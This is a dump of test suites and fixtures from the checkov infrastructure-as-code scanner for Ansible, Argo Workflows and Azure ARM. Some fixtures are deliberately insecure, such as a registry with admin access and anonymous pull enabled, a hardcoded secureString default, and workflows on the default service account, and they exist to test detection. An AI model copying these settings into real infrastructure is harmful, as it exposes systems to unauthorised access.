\"tasks.amazon.aws.ec2_instance\"\n    assert task.attributes[START_LINE] == 11\n    assert task.attributes[END_LINE] == 22\n    assert task.config == {'name': 'enabled',\n                           'amazon.aws.ec2_instance':\n                               {'name': 'public-compute-instance',\n                                'key_name': 'prod-ssh-key',\n                                'vpc_subnet_id': 'subnet-5ca1ab1e',\n                                'instance_type': 'c5.large',\n                                'security_group': 'default',\n                                'network': {'assign_public_ip': True, '__startline__': 19, '__endline__': 20},\n                                'image_id': 'ami-123456',\n                                'ebs_optimized': True,\n                                '__startline__': 13,\n                                '__endline__': 22},\n                           '__startline__': 11,\n                           '__endline__': 22}\n"
  },
  {
    "path": "tests/ansible/test_runner.py",
    "content": "from pathlib import Path\n\nimport pytest\n\nfrom checkov.ansible.checks.registry import registry\nfrom checkov.ansible.runner import Runner\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.bridgecrew.severities import Severities, BcSeverities\nfrom checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector\nfrom checkov.common.graph.db_connectors.rustworkx.rustworkx_db_connector import RustworkxConnector\nfrom checkov.runner_filter import RunnerFilter\n\nEXAMPLES_DIR = Path(__file__).parent / \"examples\"\n\n\ndef test_registry_has_type():\n    assert registry.report_type == CheckType.ANSIBLE\n\n\n@pytest.mark.parametrize(\n    \"graph_connector\",\n    [\n        NetworkxConnector,\n        RustworkxConnector,\n    ],\n)\ndef test_runner_honors_enforcement_rules(graph_connector):\n    # given\n    test_file = EXAMPLES_DIR / \"site.yml\"\n\n    # when\n    filter = RunnerFilter(framework=[\"ansible\"], use_enforcement_rules=True)\n    # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry\n    # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method\n    filter.enforcement_rule_configs = {CheckType.ANSIBLE: Severities[BcSeverities.OFF]}\n    report = Runner(db_connector=graph_connector()).run(root_folder=\"\", files=[str(test_file)], runner_filter=filter)\n\n    # then\n    summary = report.get_summary()\n\n    assert summary[\"passed\"] == 0\n    assert summary[\"failed\"] == 0\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n\n\n@pytest.mark.parametrize(\n    \"graph_connector\",\n    [\n        NetworkxConnector,\n        RustworkxConnector,\n    ],\n)\ndef test_runner_passing_check(graph_connector):\n    # given\n    test_file = EXAMPLES_DIR / \"site.yml\"\n\n    # when\n    report = Runner(db_connector=graph_connector()).run(\n        root_folder=\"\", files=[str(test_file)], runner_filter=RunnerFilter(checks=[\"CKV_AWS_135\"])\n    )\n\n    # then\n    summary = report.get_summary()\n\n    assert summary[\"passed\"] == 1\n    assert summary[\"failed\"] == 0\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n\n\n@pytest.mark.parametrize(\n    \"graph_connector\",\n    [\n        NetworkxConnector,\n        RustworkxConnector,\n    ],\n)\ndef test_runner_failing_check(graph_connector):\n    # given\n    test_file = EXAMPLES_DIR / \"site.yml\"\n\n    # when\n    report = Runner(db_connector=graph_connector()).run(\n        root_folder=\"\", files=[str(test_file)], runner_filter=RunnerFilter(checks=[\"CKV_AWS_88\"])\n    )\n\n    # then\n    summary = report.get_summary()\n\n    assert summary[\"passed\"] == 0\n    assert summary[\"failed\"] == 1\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n\n\n@pytest.mark.parametrize(\n    \"graph_connector\",\n    [\n        NetworkxConnector,\n        RustworkxConnector,\n    ],\n)\ndef test_runner_skipping_check(graph_connector):\n    # given\n    test_file = EXAMPLES_DIR / \"skip.yml\"\n\n    # when\n    report = Runner(db_connector=graph_connector()).run(\n        root_folder=\"\",\n        files=[str(test_file)],\n        runner_filter=RunnerFilter(checks=[\"CKV2_ANSIBLE_1\", \"CKV_AWS_88\", \"CKV_AWS_135\"]),\n    )\n\n    # then\n    summary = report.get_summary()\n\n    assert summary[\"passed\"] == 0\n    assert summary[\"failed\"] == 2\n    assert summary[\"skipped\"] == 3\n    assert summary[\"parsing_errors\"] == 0\n\n    assert {check.check_id for check in report.skipped_checks} == {\"CKV2_ANSIBLE_1\", \"CKV_AWS_88\", \"CKV_AWS_135\"}\n\n    ansible_1 = next(check for check in report.skipped_checks if check.check_id == \"CKV2_ANSIBLE_1\")\n    aws_88 = next(check for check in report.skipped_checks if check.check_id == \"CKV_AWS_88\")\n    aws_135 = next(check for check in report.skipped_checks if check.check_id == \"CKV_AWS_135\")\n    assert ansible_1.resource == \"tasks.uri.http\"\n    assert aws_88.resource == \"tasks.amazon.aws.ec2_instance.Launch ec2 instances 2\"\n    assert aws_135.resource == \"tasks.amazon.aws.ec2_instance.Launch ec2 instances 1\"\n\n\n@pytest.mark.parametrize(\n    \"graph_connector\",\n    [\n        NetworkxConnector,\n        RustworkxConnector,\n    ],\n)\ndef test_runner_with_flat_tasks(graph_connector):\n    # given\n    test_file = EXAMPLES_DIR / \"tasks.yml\"\n\n    # when\n    report = Runner(db_connector=graph_connector()).run(\n        root_folder=\"\", files=[str(test_file)], runner_filter=RunnerFilter(checks=[\"CKV_ANSIBLE_1\", \"CKV_ANSIBLE_2\"])\n    )\n\n    # then\n    summary = report.get_summary()\n\n    assert summary[\"passed\"] == 1\n    assert summary[\"failed\"] == 1\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n\n    passing_resources = {\n        f\"tasks.uri.Check that you can connect (GET) to a page\",\n    }\n\n    failing_resources = {\n        f\"tasks.ansible.builtin.get_url.Download foo.conf\",\n    }\n\n    passed_check_resources = {check.resource for check in report.passed_checks}\n    failed_check_resources = {check.resource for check in report.failed_checks}\n\n    assert passing_resources == passed_check_resources\n    assert failing_resources == failed_check_resources\n\n\n@pytest.mark.parametrize(\n    \"graph_connector\",\n    [\n        NetworkxConnector,\n        RustworkxConnector,\n    ],\n)\ndef test_runner_with_block(graph_connector):\n    # given\n    test_file = EXAMPLES_DIR / \"blocks.yml\"\n    checks = [\"CKV_ANSIBLE_3\", \"CKV_ANSIBLE_4\", \"CKV2_ANSIBLE_3\"]\n\n    # when\n    report = Runner(db_connector=graph_connector()).run(\n        root_folder=\"\", files=[str(test_file)], runner_filter=RunnerFilter(checks=checks)\n    )\n\n    # then\n    summary = report.get_summary()\n\n    assert summary[\"passed\"] == 1\n    assert summary[\"failed\"] == 2\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n\n    passing_resources = {\n        \"tasks.block.ansible.builtin.yum.Install httpd and memcached\",\n    }\n\n    failing_resources = {\n        \"tasks.block.ansible.builtin.yum.Install httpd and memcached\",\n        \"block.Install, configure, and start Apache\",\n    }\n\n    passed_check_resources = {check.resource for check in report.passed_checks}\n    failed_check_resources = {check.resource for check in report.failed_checks}\n\n    assert passing_resources == passed_check_resources\n    assert failing_resources == failed_check_resources\n\n\n@pytest.mark.parametrize(\n    \"graph_connector\",\n    [\n        NetworkxConnector,\n        RustworkxConnector,\n    ],\n)\ndef test_runner_with_nested_blocks(graph_connector):\n    # given\n    test_file = EXAMPLES_DIR / \"nested_blocks.yml\"\n    checks = [\"CKV_ANSIBLE_1\", \"CKV2_ANSIBLE_3\"]\n\n    # when\n    report = Runner(db_connector=graph_connector()).run(\n        root_folder=\"\", files=[str(test_file)], runner_filter=RunnerFilter(checks=checks)\n    )\n\n    # then\n    summary = report.get_summary()\n\n    # if we increase the level of nested block levels for Python checks, then this goes up to 6\n    assert summary[\"passed\"] == 4\n    assert summary[\"failed\"] == 5\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n\n    passing_resources = {\n        \"tasks.ansible.builtin.uri.1st level uri\",\n        \"tasks.block.ansible.builtin.uri.2nd level uri\",\n        \"tasks.block.block.ansible.builtin.uri.3rd level uri\",\n        \"tasks.block.block.block.ansible.builtin.uri.4th level uri\",\n    }\n\n    failing_resources = {\n        \"block.1st level block\",\n        \"block.block.2nd level block\",\n        \"block.block.block.3rd level block\",\n        \"block.block.block.block.4th level block\",\n        \"block.block.block.block.block.5th level block\",\n    }\n\n    passed_check_resources = {check.resource for check in report.passed_checks}\n    failed_check_resources = {check.resource for check in report.failed_checks}\n\n    assert passing_resources == passed_check_resources\n    assert failing_resources == failed_check_resources\n\n\n@pytest.mark.parametrize(\n    \"graph_connector\",\n    [\n        NetworkxConnector,\n        RustworkxConnector,\n    ],\n)\ndef test_runner_with_no_tasks(graph_connector):\n    # given\n    test_file = EXAMPLES_DIR / \"no_tasks.yml\"\n\n    # when\n    report = Runner(db_connector=graph_connector()).run(root_folder=\"\", files=[str(test_file)])\n\n    # then\n    summary = report.get_summary()\n\n    assert summary[\"passed\"] == 0\n    assert summary[\"failed\"] == 0\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n\n\n@pytest.mark.parametrize(\n    \"graph_connector\",\n    [\n        NetworkxConnector,\n        RustworkxConnector,\n    ],\n)\ndef test_get_resource(graph_connector):\n    # given\n    file_path = \"/example/site.yml\"\n    key = '[].tasks[?\"amazon.aws.ec2_instance\" != null][].[].tasks[?\"amazon.aws.ec2_instance\" != null][].CKV_AWS_135[6:12]'\n    start_line = 8\n    end_line = 12\n    definition = [\n        {\n            \"name\": \"Verify tests\",\n            \"hosts\": \"all\",\n            \"gather_facts\": False,\n            \"tasks\": [\n                {\n                    \"name\": \"enabled\",\n                    \"amazon.aws.ec2_instance\": {\n                        \"name\": \"public-compute-instance\",\n                        \"key_name\": \"prod-ssh-key\",\n                        \"vpc_subnet_id\": \"subnet-5ca1ab1e\",\n                        \"instance_type\": \"c5.large\",\n                        \"security_group\": \"default\",\n                        \"network\": {\"assign_public_ip\": False, \"__startline__\": 14, \"__endline__\": 15},\n                        \"image_id\": \"ami-123456\",\n                        \"ebs_optimized\": True,\n                        \"__startline__\": 8,\n                        \"__endline__\": 17,\n                    },\n                    \"__startline__\": 6,\n                    \"__endline__\": 17,\n                }\n            ],\n            \"__startline__\": 2,\n            \"__endline__\": 17,\n        }\n    ]\n    runner = Runner(db_connector=graph_connector())\n    runner.definitions = {file_path: definition}\n\n    # when\n    new_key = runner.get_resource(\n        file_path=file_path,\n        key=key,\n        supported_entities=[],\n        start_line=start_line,\n        end_line=end_line,\n    )\n\n    # then\n    assert new_key == \"tasks.amazon.aws.ec2_instance.enabled\"\n\n\n@pytest.mark.parametrize(\n    \"graph_connector\",\n    [\n        NetworkxConnector,\n        RustworkxConnector,\n    ],\n)\ndef test_get_resource_without_name(graph_connector):\n    # given\n    file_path = \"/example/site.yml\"\n    key = '[].tasks[?\"amazon.aws.ec2_instance\" != null][].[].tasks[?\"amazon.aws.ec2_instance\" != null][].CKV_AWS_135[6:12]'\n    start_line = 8\n    end_line = 12\n    definition = [\n        {\n            \"name\": \"Verify tests\",\n            \"hosts\": \"all\",\n            \"gather_facts\": False,\n            \"tasks\": [\n                {\n                    \"amazon.aws.ec2_instance\": {\n                        \"name\": \"public-compute-instance\",\n                        \"key_name\": \"prod-ssh-key\",\n                        \"vpc_subnet_id\": \"subnet-5ca1ab1e\",\n                        \"instance_type\": \"c5.large\",\n                        \"security_group\": \"default\",\n                        \"network\": {\"assign_public_ip\": False, \"__startline__\": 14, \"__endline__\": 15},\n                        \"image_id\": \"ami-123456\",\n                        \"ebs_optimized\": True,\n                        \"__startline__\": 8,\n                        \"__endline__\": 17,\n                    },\n                    \"__startline__\": 6,\n                    \"__endline__\": 17,\n                }\n            ],\n            \"__startline__\": 2,\n            \"__endline__\": 17,\n        }\n    ]\n    runner = Runner(db_connector=graph_connector())\n    runner.definitions = {file_path: definition}\n\n    # when\n    new_key = runner.get_resource(\n        file_path=file_path,\n        key=key,\n        supported_entities=[],\n        start_line=start_line,\n        end_line=end_line,\n    )\n\n    # then\n    assert new_key == \"tasks.amazon.aws.ec2_instance.unknown\"\n\n\ndef test_runner_process_utf16_file():\n    # given\n    test_file = EXAMPLES_DIR / \"k8s_utf16.yaml\"\n\n    # when\n    report = Runner().run(root_folder=\"\", files=[str(test_file)])\n\n    # then\n    summary = report.get_summary()\n\n    assert summary[\"passed\"] == 0\n    assert summary[\"failed\"] == 0\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n"
  },
  {
    "path": "tests/ansible/test_utils.py",
    "content": "from pathlib import Path\n\nfrom checkov.ansible.runner import Runner\nfrom checkov.ansible.utils import build_definitions_context, create_definitions\n\nEXAMPLES_DIR = Path(__file__).parent / \"examples\"\n\n\ndef test_build_definitions_context():\n    # given\n    file_path = str(EXAMPLES_DIR / \"skip.yml\")\n    definitions, definitions_raw = {}, {}\n    definitions[file_path], definitions_raw[file_path] = Runner()._parse_file(f=file_path)\n\n    # when\n    context = build_definitions_context(definitions=definitions, definitions_raw=definitions_raw)\n\n    assert len(context) == 1\n\n    definition_context = next(iter(context.values()))\n    assert len(definition_context) == 3\n\n    task_context = definition_context[\"tasks.uri.http\"]\n\n    assert task_context[\"start_line\"] == 24\n    assert task_context[\"end_line\"] == 31\n    assert task_context[\"code_lines\"] == [\n        (24, \"    - name: http\\n\"),\n        (25, \"      #checkov:skip=CKV2_ANSIBLE_1\\n\"),\n        (26, \"      uri:\\n\"),\n        (27, \"        url: http://www.example.com\\n\"),\n        (28, \"        return_content: yes\\n\"),\n        (29, \"      register: this\\n\"),\n        (30, \"      failed_when: \\\"'AWESOME' not in this.content\\\"\\n\"),\n        (31, \"\\n\"),\n    ]\n\n    for skip in task_context[\"skipped_checks\"]:\n        skip.pop(\"bc_id\", None)  # depending on the test order they are set or not\n\n    assert task_context[\"skipped_checks\"] == [\n        {\n            \"id\": \"CKV2_ANSIBLE_1\",\n            \"line_number\": 25,\n            \"suppress_comment\": \"No comment provided\",\n        }\n    ]\n\n\ndef test_create_definitions():\n    definitions, definitions_raw = create_definitions(root_folder=str(EXAMPLES_DIR))\n\n    assert len(definitions) > 0\n    assert all(key.endswith(\".yml\") or key.endswith(\".yaml\") and len(value) > 0 for key, value in definitions.items())"
  },
  {
    "path": "tests/argo_workflows/__init__.py",
    "content": ""
  },
  {
    "path": "tests/argo_workflows/checks/__init__.py",
    "content": ""
  },
  {
    "path": "tests/argo_workflows/checks/template/__init__.py",
    "content": ""
  },
  {
    "path": "tests/argo_workflows/checks/template/example_DefaultServiceAccount/fail_default.yaml",
    "content": "apiVersion: argoproj.io/v1alpha1\nkind: Workflow\nmetadata:\n  generateName: hello-world-\nspec:\n  entrypoint: whalesay\n  serviceAccountName: default\n  templates:\n  - name: whalesay\n    container:\n      image: docker/whalesay:latest\n      command: [cowsay]\n      args: [\"hello world\"]\n"
  },
  {
    "path": "tests/argo_workflows/checks/template/example_DefaultServiceAccount/fail_none.yaml",
    "content": "apiVersion: argoproj.io/v1alpha1\nkind: Workflow\nmetadata:\n  generateName: hello-world-\nspec:\n  entrypoint: whalesay\n  templates:\n  - name: whalesay\n    container:\n      image: docker/whalesay:latest\n      command: [cowsay]\n      args: [\"hello world\"]\n"
  },
  {
    "path": "tests/argo_workflows/checks/template/example_DefaultServiceAccount/pass.yaml",
    "content": "apiVersion: argoproj.io/v1alpha1\nkind: Workflow\nmetadata:\n  generateName: hello-world-\nspec:\n  entrypoint: whalesay\n  serviceAccountName: custom-sa\n  templates:\n  - name: whalesay\n    container:\n      image: docker/whalesay:latest\n      command: [cowsay]\n      args: [\"hello world\"]\n"
  },
  {
    "path": "tests/argo_workflows/checks/template/example_RunAsNonRoot/fail.yaml",
    "content": "apiVersion: argoproj.io/v1alpha1\nkind: Workflow\nmetadata:\n  generateName: hello-world-\nspec:\n  entrypoint: whalesay\n  templates:\n  - name: whalesay\n    container:\n      image: docker/whalesay:latest\n      command: [cowsay]\n      args: [\"hello world\"]\n"
  },
  {
    "path": "tests/argo_workflows/checks/template/example_RunAsNonRoot/pass.yaml",
    "content": "apiVersion: argoproj.io/v1alpha1\nkind: Workflow\nmetadata:\n  generateName: hello-world-\nspec:\n  entrypoint: whalesay\n  securityContext:\n    runAsNonRoot: true\n    runAsUser: 8737\n  templates:\n  - name: whalesay\n    container:\n      image: docker/whalesay:latest\n      command: [cowsay]\n      args: [\"hello world\"]\n"
  },
  {
    "path": "tests/argo_workflows/checks/template/test_DefaultServiceAccount.py",
    "content": "from pathlib import Path\n\nfrom checkov.argo_workflows.runner import Runner\nfrom checkov.argo_workflows.checks.template.DefaultServiceAccount import check\nfrom checkov.runner_filter import RunnerFilter\n\n\ndef test_examples():\n    # given\n    test_files_dir = Path(__file__).parent / \"example_DefaultServiceAccount\"\n\n    # when\n    report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n    # then\n    summary = report.get_summary()\n\n    passing_resources = {\n        f\"{test_files_dir}/pass.yaml.spec.spec.CKV_ARGO_1[6:14]\",\n    }\n\n    failing_resources = {\n        f\"{test_files_dir}/fail_default.yaml.spec.spec.CKV_ARGO_1[6:14]\",\n        f\"{test_files_dir}/fail_none.yaml.spec.spec.CKV_ARGO_1[6:13]\",\n    }\n\n    passed_check_resources = {c.resource for c in report.passed_checks}\n    failed_check_resources = {c.resource for c in report.failed_checks}\n\n    assert summary[\"passed\"] == len(passing_resources)\n    assert summary[\"failed\"] == len(failing_resources)\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n\n    assert passed_check_resources == passing_resources\n    assert failed_check_resources == failing_resources\n"
  },
  {
    "path": "tests/argo_workflows/checks/template/test_RunAsNonRoot.py",
    "content": "from pathlib import Path\n\nfrom checkov.argo_workflows.runner import Runner\nfrom checkov.argo_workflows.checks.template.RunAsNonRoot import check\nfrom checkov.runner_filter import RunnerFilter\n\n\ndef test_examples():\n    # given\n    test_files_dir = Path(__file__).parent / \"example_RunAsNonRoot\"\n\n    # when\n    report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n    # then\n    summary = report.get_summary()\n\n    passing_resources = {\n        f\"{test_files_dir}/pass.yaml.spec.spec.CKV_ARGO_2[6:16]\",\n    }\n\n    failing_resources = {\n        f\"{test_files_dir}/fail.yaml.spec.spec.CKV_ARGO_2[6:13]\",\n    }\n\n    passed_check_resources = {c.resource for c in report.passed_checks}\n    failed_check_resources = {c.resource for c in report.failed_checks}\n\n    assert summary[\"passed\"] == len(passing_resources)\n    assert summary[\"failed\"] == len(failing_resources)\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n\n    assert passed_check_resources == passing_resources\n    assert failed_check_resources == failing_resources\n"
  },
  {
    "path": "tests/argo_workflows/examples/argo_cd_application.yaml",
    "content": "apiVersion: argoproj.io/v1alpha1\nkind: Application\nmetadata:\n  name: guestbook\n  namespace: argocd\nspec:\n  project: default\n  source:\n    repoURL: https://github.com/argoproj/argocd-example-apps.git\n    targetRevision: HEAD\n    path: guestbook\n  destination:\n    server: https://kubernetes.default.svc\n    namespace: guestbook\n"
  },
  {
    "path": "tests/argo_workflows/examples/hello_world.yaml",
    "content": "apiVersion: argoproj.io/v1alpha1\nkind: Workflow\nmetadata:\n  generateName: archive-location-\nspec:\n  entrypoint: whalesay\n  securityContext:\n    runAsNonRoot: true\n    runAsUser: 8737\n  templates:\n  - name: whalesay\n    container:\n      image: docker/whalesay:latest\n      command: [cowsay]\n      args: [\"hello world\"]\n    # archiveLocation allows configuring the archive location for a specific step\n    archiveLocation:\n      archiveLogs: true\n"
  },
  {
    "path": "tests/argo_workflows/examples/scripts_python.yaml",
    "content": "# https://github.com/argoproj/argo-workflows/blob/master/examples/scripts-python.yaml\napiVersion: argoproj.io/v1alpha1\nkind: Workflow\nmetadata:\n  generateName: scripts-python-\nspec:\n  entrypoint: python-script-example\n  templates:\n  - name: python-script-example\n    steps:\n    - - name: generate\n        template: gen-random-int\n    - - name: print\n        template: print-message\n        arguments:\n          parameters:\n          - name: message\n            value: \"{{steps.generate.outputs.result}}\"\n\n  - name: gen-random-int\n    script:\n      image: python:alpine3.6\n      command: [python]\n      source: |\n        import random\n        i = random.randint(1, 100)\n        print(i)\n  - name: print-message\n    inputs:\n      parameters:\n      - name: message\n    container:\n      image: alpine:latest\n      command: [sh, -c]\n      args: [\"echo result was: {{inputs.parameters.message}}\"]\n"
  },
  {
    "path": "tests/argo_workflows/test_runner.py",
    "content": "from pathlib import Path\n\nfrom checkov.argo_workflows.runner import Runner\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.bridgecrew.severities import Severities, BcSeverities\nfrom checkov.common.images.image_referencer import Image\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.argo_workflows.checks.registry import registry\n\nEXAMPLES_DIR = Path(__file__).parent / \"examples\"\n\n\ndef test_registry_has_type():\n    assert registry.report_type == CheckType.ARGO_WORKFLOWS\n\n\ndef test_runner_honors_enforcement_rules():\n    # given\n    test_file = EXAMPLES_DIR / \"hello_world.yaml\"\n\n    # when\n    filter = RunnerFilter(framework=['argo_workflows'], use_enforcement_rules=True)\n    # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry\n    # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method\n    filter.enforcement_rule_configs = {CheckType.ARGO_WORKFLOWS: Severities[BcSeverities.OFF]}\n    report = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=filter)\n\n    # then\n    summary = report.get_summary()\n\n    assert summary[\"passed\"] == 0\n    assert summary[\"failed\"] == 0\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n\n\ndef test_runner_passing_check():\n    # given\n    test_file = EXAMPLES_DIR / \"hello_world.yaml\"\n\n    # when\n    report = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=RunnerFilter(checks=[\"CKV_ARGO_2\"]))\n\n    # then\n    summary = report.get_summary()\n\n    assert summary[\"passed\"] == 1\n    assert summary[\"failed\"] == 0\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n\n\ndef test_runner_failing_check():\n    # given\n    test_file = EXAMPLES_DIR / \"hello_world.yaml\"\n\n    # when\n    report = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=RunnerFilter(checks=[\"CKV_ARGO_1\"]))\n\n    # then\n    summary = report.get_summary()\n\n    assert summary[\"passed\"] == 0\n    assert summary[\"failed\"] == 1\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n\n\ndef test_runner_ignore_argo_cd():\n    # given\n    test_file = EXAMPLES_DIR / \"argo_cd_application.yaml\"\n\n    # when\n    report = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=RunnerFilter())\n\n    # then\n    summary = report.get_summary()\n\n    assert summary[\"passed\"] == 0\n    assert summary[\"failed\"] == 0\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n    assert summary[\"resource_count\"] == 0\n\n\ndef test_get_image():\n    # given\n    test_file = EXAMPLES_DIR / \"scripts_python.yaml\"\n\n    # when\n    images = Runner().get_images(str(test_file))\n\n    # then\n    assert images == {\n        Image(\n            file_path=str(test_file),\n            name=\"alpine:latest\",\n            start_line=33,\n            end_line=36,\n        ),\n        Image(\n            file_path=str(test_file),\n            name=\"python:alpine3.6\",\n            start_line=22,\n            end_line=28,\n        ),\n    }\n\n"
  },
  {
    "path": "tests/arm/__init__.py",
    "content": ""
  },
  {
    "path": "tests/arm/checks/__init__.py",
    "content": ""
  },
  {
    "path": "tests/arm/checks/parameter/__init__.py",
    "content": ""
  },
  {
    "path": "tests/arm/checks/parameter/test_SecureStringParameterNoHardcodedValue/test_parameters.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.1\",\n  \"parameters\": {\n    \"passing_no_default\": {\n      \"type\": \"secureString\"\n    },\n    \"passing_blank_default\": {\n      \"type\": \"secureString\",\n      \"defaultValue\": \"\"\n    },\n    \"failing\": {\n      \"type\": \"secureString\",\n      \"defaultValue\": \"xyz\"\n    },\n    \"not_securestring\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"The location of the Managed Cluster resource.\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2019-02-01\",\n      \"type\": \"Microsoft.ContainerService/managedClusters\",\n      \"location\": \"[parameters('location')]\",\n      \"name\": \"[parameters('clusterName')]\",\n      \"properties\": {\n        \"dnsPrefix\": \"[parameters('dnsPrefix')]\",\n        \"agentPoolProfiles\": [\n          {\n            \"name\": \"agentpool\",\n            \"osDiskSizeGB\": \"[parameters('osDiskSizeGB')]\",\n            \"count\": \"[parameters('agentCount')]\",\n            \"vmSize\": \"[parameters('agentVMSize')]\",\n            \"osType\": \"[parameters('osType')]\",\n            \"storageProfile\": \"ManagedDisks\"\n          }\n        ],\n        \"linuxProfile\": {\n          \"adminUsername\": \"[parameters('linuxAdminUsername')]\",\n          \"ssh\": {\n            \"publicKeys\": [\n              {\n                \"keyData\": \"[parameters('sshRSAPublicKey')]\"\n              }\n            ]\n          }\n        },\n        \"servicePrincipalProfile\": {\n          \"clientId\": \"[parameters('servicePrincipalClientId')]\",\n          \"Secret\": \"[parameters('servicePrincipalClientSecret')]\"\n        },\n        \"apiServerAuthorizedIPRanges\": [\n          \"73.140.245.0/24\"\n        ]\n      }\n    }\n  ],\n  \"outputs\": {\n    \"controlPlaneFQDN\": {\n      \"type\": \"string\",\n      \"value\": \"[reference(parameters('clusterName')).fqdn]\"\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/checks/parameter/test_SecureStringParameterNoHardcodedValue.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.parameter.SecureStringParameterNoHardcodedValue import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestSecureStringParameterNoHardcodedValue(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/test_SecureStringParameterNoHardcodedValue\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/__init__.py",
    "content": ""
  },
  {
    "path": "tests/arm/checks/resource/example_ACRAdminAccountDisabled/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.1\",\n  \"resources\": [\n    {\n      \"apiVersion\": \"2019-05-01\",\n      \"type\": \"Microsoft.ContainerRegistry/registries\",\n      \"name\": \"fail\",\n      \"location\": \"[resourceGroup().location]\",\n      \"sku\": {\n        \"name\": \"Basic\"\n      },\n      \"properties\": {\n        \"adminUserEnabled\": true,\n        \"anonymousPullEnabled\": true,\n        \"dataEndpointEnabled\": true,\n        \"encryption\": {\n          \"keyVaultProperties\": {\n            \"identity\": \"someIdentity\",\n            \"keyIdentifier\": \"someKeyIdentifier\"\n          },\n          \"status\": \"enabled\"\n        },\n        \"networkRuleBypassOptions\": \"AzureServices\",\n        \"networkRuleSet\": {\n          \"defaultAction\": \"Deny\",\n          \"ipRules\": [\n            {\n              \"action\": \"Allow\",\n              \"value\": \"127.0.0.1\"\n            }\n          ]\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_ACRAdminAccountDisabled/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.1\",\n  \"resources\": [\n    {\n      \"apiVersion\": \"2019-05-01\",\n      \"type\": \"Microsoft.ContainerRegistry/registries\",\n      \"name\": \"pass\",\n      \"location\": \"[resourceGroup().location]\",\n      \"sku\": {\n        \"name\": \"Standard\"\n      },\n      \"properties\": {\n        \"adminUserEnabled\":  false,\n        \"anonymousPullEnabled\": true,\n        \"dataEndpointEnabled\": true,\n        \"encryption\": {\n          \"keyVaultProperties\": {\n            \"identity\": \"someIdentity\",\n            \"keyIdentifier\": \"someKeyIdentifier\"\n          },\n          \"status\": \"enabled\"\n        },\n        \"networkRuleBypassOptions\": \"AzureServices\",\n        \"networkRuleSet\": {\n          \"defaultAction\": \"Deny\",\n          \"ipRules\": [\n            {\n              \"action\": \"Allow\",\n              \"value\": \"127.0.0.1\"\n            }\n          ]\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_ACRAnonymousPullDisabled/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.ContainerRegistry/registries\",\n      \"apiVersion\": \"2021-09-01\",\n      \"name\": \"fail\",\n      \"location\": \"eastus\",\n      \"sku\": {\n        \"name\": \"Standard\"\n      },\n      \"properties\": {\n        \"anonymousPullEnabled\": true\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_ACRAnonymousPullDisabled/fail2.json",
